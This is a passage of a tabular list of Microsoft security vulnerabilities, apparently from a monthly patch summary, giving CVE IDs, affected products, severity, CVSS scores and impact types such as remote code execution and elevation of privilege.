CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  